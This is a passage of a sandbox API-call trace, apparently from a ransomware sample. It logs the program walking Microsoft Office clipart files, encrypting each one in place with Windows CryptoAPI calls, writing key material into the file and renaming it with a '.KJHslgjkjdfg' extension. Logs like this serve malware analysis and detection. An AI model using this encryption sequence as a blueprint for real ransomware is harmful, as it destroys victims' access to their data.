Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0230.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.996] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.997] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.997] SetEndOfFile (hFile=0x130) returned 1 [0231.001] GetProcessHeap () returned 0x2ef0000 [0231.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.001] GetProcessHeap () returned 0x2ef0000 [0231.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.kjhslgjkjdfg")) returned 1 [0231.003] CloseHandle (hObject=0x130) returned 1 [0231.003] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0231.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.004] GetProcessHeap () returned 0x2ef0000 [0231.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.004] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.004] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.005] GetProcessHeap () returned 0x2ef0000 [0231.005] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.005] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.005] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.005] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.007] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.007] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.007] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.007] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.008] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.008] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.008] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.009] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0231.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.009] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.010] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.010] SetEndOfFile (hFile=0x130) returned 1 [0231.011] GetProcessHeap () returned 0x2ef0000 [0231.011] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.011] GetProcessHeap () returned 0x2ef0000 [0231.011] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.kjhslgjkjdfg")) returned 1 [0231.013] CloseHandle (hObject=0x130) returned 1 [0231.013] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0231.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.014] GetProcessHeap () returned 0x2ef0000 [0231.014] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.014] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.014] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0231.016] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.016] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.016] GetProcessHeap () returned 0x2ef0000 [0231.016] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.016] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.016] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.016] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.016] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.016] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.016] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.016] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.016] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.016] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.017] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7297, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7297, lpOverlapped=0x0) returned 1 [0231.018] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x72a0, dwBufLen=0x72a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x72a0) returned 1 [0231.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.018] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x72a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x72a0, lpOverlapped=0x0) returned 1 [0231.018] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.018] SetEndOfFile (hFile=0x130) returned 1 [0231.020] GetProcessHeap () returned 0x2ef0000 [0231.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.020] GetProcessHeap () returned 0x2ef0000 [0231.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.kjhslgjkjdfg")) returned 1 [0231.022] CloseHandle (hObject=0x130) returned 1 [0231.022] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0231.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.024] GetProcessHeap () returned 0x2ef0000 [0231.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.024] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.041] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.041] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.041] GetProcessHeap () returned 0x2ef0000 [0231.041] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.041] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.042] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.042] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.042] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.042] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0231.043] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0231.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.043] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0231.044] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.044] SetEndOfFile (hFile=0x130) returned 1 [0231.047] GetProcessHeap () returned 0x2ef0000 [0231.047] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.047] GetProcessHeap () returned 0x2ef0000 [0231.047] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.kjhslgjkjdfg")) returned 1 [0231.049] CloseHandle (hObject=0x130) returned 1 [0231.049] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0231.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.051] GetProcessHeap () returned 0x2ef0000 [0231.051] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.051] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.051] GetProcessHeap () returned 0x2ef0000 [0231.051] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.051] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.051] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.054] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.054] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.054] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.054] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.054] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.054] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.078] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0231.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.079] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.079] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.079] SetEndOfFile (hFile=0x130) returned 1 [0231.082] GetProcessHeap () returned 0x2ef0000 [0231.082] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.083] GetProcessHeap () returned 0x2ef0000 [0231.083] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), 